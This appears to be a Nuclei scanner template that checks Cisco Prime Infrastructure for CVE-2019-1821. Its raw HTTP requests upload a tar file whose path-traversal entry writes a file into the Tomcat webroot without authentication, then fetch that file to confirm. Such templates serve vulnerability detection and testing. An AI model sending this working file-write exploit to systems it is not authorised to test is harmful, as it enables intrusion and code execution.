id: CVE-2019-1821

info:
  name: Cisco Prime Infrastructure and Cisco Evolved Programmable Network Manager - Remote Code Execution
  author: _0xf4n9x_
  severity: critical
  description: Cisco Prime Infrastructure (PI) and Cisco Evolved Programmable Network (EPN) Manager could allow an authenticated, remote attacker to execute code with root-level privileges on the underlying operating system. This vulnerability exist because the software improperly validates user-supplied input. An attacker could exploit this vulnerability by uploading a malicious file to the administrative web interface. A successful exploit could allow the attacker to execute code with root-level privileges on the underlying operating system.
  remediation: |
    Apply the latest security patches provided by Cisco to mitigate this vulnerability.
  reference:
    - https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190515-pi-rce
    - https://srcincite.io/blog/2019/05/17/panic-at-the-cisco-unauthenticated-rce-in-prime-infrastructure.html
    - https://nvd.nist.gov/vuln/detail/CVE-2019-1821
    - http://packetstormsecurity.com/files/153350/Cisco-Prime-Infrastructure-Health-Monitor-TarArchive-Directory-Traversal.html
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2019-1821
    cwe-id: CWE-20
    epss-score: 0.96882
    epss-percentile: 0.99577
    cpe: cpe:2.3:a:cisco:evolved_programmable_network_manager:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: cisco
    product: evolved_programmable_network_manager
    shodan-query: http.title:"prime infrastructure"
  tags: packetstorm,cve,cve2019,rce,fileupload,unauth,intrusive,cisco

http:
  - raw:
      - |
        POST /servlet/UploadServlet HTTP/1.1
        Host: {{Hostname}}
        Accept-Encoding: gzip, deflate
        Primary-IP: 127.0.0.1
        Filename: test.tar
        Filesize: 10240
        Compressed-Archive: false
        Destination-Dir: tftpRoot
        Filecount: 1
        Content-Length: 269
        Content-Type: multipart/form-data; boundary=871a4a346a547cf05cb83f57b9ebcb83

        --871a4a346a547cf05cb83f57b9ebcb83
        Content-Disposition: form-data; name="files"; filename="test.tar"

        ../../opt/CSCOlumos/tomcat/webapps/ROOT/test.txt0000644000000000000000000000000400000000000017431 0ustar  00000000000000{{randstr}}
        --871a4a346a547cf05cb83f57b9ebcb83--
      - |
        GET /test.txt HTTP/1.1
        Host: {{Host}}

    req-condition: true
    matchers:
      - type: dsl
        dsl:
          - "status_code == 200"
          - "contains((body_2), '{{randstr}}')"
        condition: and